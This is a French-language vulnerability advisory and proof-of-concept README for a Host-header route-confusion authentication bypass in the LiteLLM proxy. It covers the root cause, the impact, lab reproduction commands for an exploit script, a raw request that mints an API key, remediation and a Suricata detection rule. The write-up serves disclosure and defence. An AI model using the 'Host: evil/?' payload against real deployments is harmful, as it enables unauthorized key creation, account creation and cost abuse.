CVE-2026-49468 — Contournement de l'authentification non authentifiée de LiteLLM via confusion de route d'en-tête Host

Contournement d'authentification/autorisation avant authentification dans le proxy LiteLLM (BerriAI). Un seul en-tête Host falsifié fait que le proxy évalue sa décision d'authentification contre une route de santé publique tandis que FastAPI exécute toujours le gestionnaire de gestion protégé — servant la requête sans clé API.

Tout l'exploit tient en un en-tête : Host: evil/?

Cause racine

litellm/proxy/auth/auth_utils.py::get_request_route() dérive la route utilisée pour chaque décision d'authentification à partir de request.url.path. Starlette reconstruit cette chaîne URL à partir de l'en-tête Host contrôlé par le client :

# starlette/datastructures.py  (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}"      # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path

Le routage FastAPI dispatche sur le chemin ASGI brut request.scope["path"]. Injecter un ? dans l'en-tête Host pousse le chemin de requête réel dans le composant query de l'URL, donc le url.path reconstruit se réduit à / :

real request path (scope, FastAPI routes here) : /key/generate
Host header                                     : evil/?
reconstructed URL                               : http://evil/?/key/generate
urlsplit(...).path                              : /          <-- auth sees this

/ est dans LiteLLMRoutes.public_routes, et les deux portes d'authentification se court-circuitent sur les routes publiques en utilisant cette même valeur falsifiée :

# user_api_key_auth.py — authentication builder
if route in public_routes:                        # route == "/"
    return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY)   # no API key required

# user_api_key_auth.py — authorization wrapper
if route in public_routes:                        # route == "/"
    return                                        # skips common_checks / admin-route enforcement

Correctif (1.84.0) : get_request_route() lit désormais directement request.scope["path"] / scope["root_path"], sans jamais reconstruire à partir de l'en-tête Host.

Impact

Accessible sans authentification (servi en tant que INTERNAL_USER_VIEW_ONLY) :

• POST /key/generate → crée une clé API virtuelle valide. La clé fonctionne comme une authentification normale sans en-tête de contournement → point d'appui authentifié persistant et abus de coût du fournisseur.
• POST /user/new → crée des utilisateurs.
• POST /chat/completions (+ /v1/models, /model/info) → inférence non authentifiée contre les fournisseurs LLM configurés du proxy.
• GET /spend/logs, /settings, /get/config/callbacks → divulgation de configuration / télémétrie.

Les points de terminaison protégés par une vérification PROXY_ADMIN en ligne restent bloqués (/config/update, /model/new, /user/list, /key/list, élévation de rôle, création directe MCP), donc ce contournement ne donne pas un accès complet d'admin proxy ou une RCE sur v1.83.14 — voir ANALYSIS.md.

Reproduction

# 1. bring up a vulnerable + patched lab (auth enabled with a master key)
cd lab && docker compose up -d && cd ..

# 2. confirm the bypass
python3 exploit.py -u http://127.0.0.1:4000 check
#   [*] GET /user/list  no-bypass Host  -> 401
#   [*] GET /user/list  Host: evil/?    -> 403
#   [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).

# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
#   [+] Minted virtual API key (unauthenticated): sk-....

# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump

# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check

exploit.py est uniquement stdlib (http.client) et définit l'en-tête Host textuellement au niveau du fil. Actions : check, mint-key, user, chat, dump, raw METHOD PATH.

Requête brute

POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2

{}

HTTP/1.1 200 OK

{"key":"sk-...", ...}

Voir EVIDENCE.txt pour la matrice complète baseline/contournement, le discriminant adversarial (evil → 401, evil/foo → 401, evil/? → 200), et la limite corrigée.

Remédiation

• Mettez à niveau vers LiteLLM 1.84.0 ou ultérieur.
• Solution de contournement si vous ne pouvez pas mettre à niveau : placez le proxy derrière un proxy inverse qui applique une validation stricte de Host (rejeter les valeurs Host contenant /, ?, #), et définissez une master_key.

Détection

Le contournement est un en-tête Host syntaxiquement invalide. Exemple de règle Suricata :

alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
  flow:to_server,established; http.host; pcre:"/[\/?#]/";
  classtype:web-application-attack; sid:2026049468; rev:1;)

Côté logs : toute requête dont l'en-tête Host contient /, ? ou # atteignant un proxy LiteLLM.

Crédits

Caio Fabrício (BiiTts).

Pour la recherche et les tests de sécurité autorisés uniquement.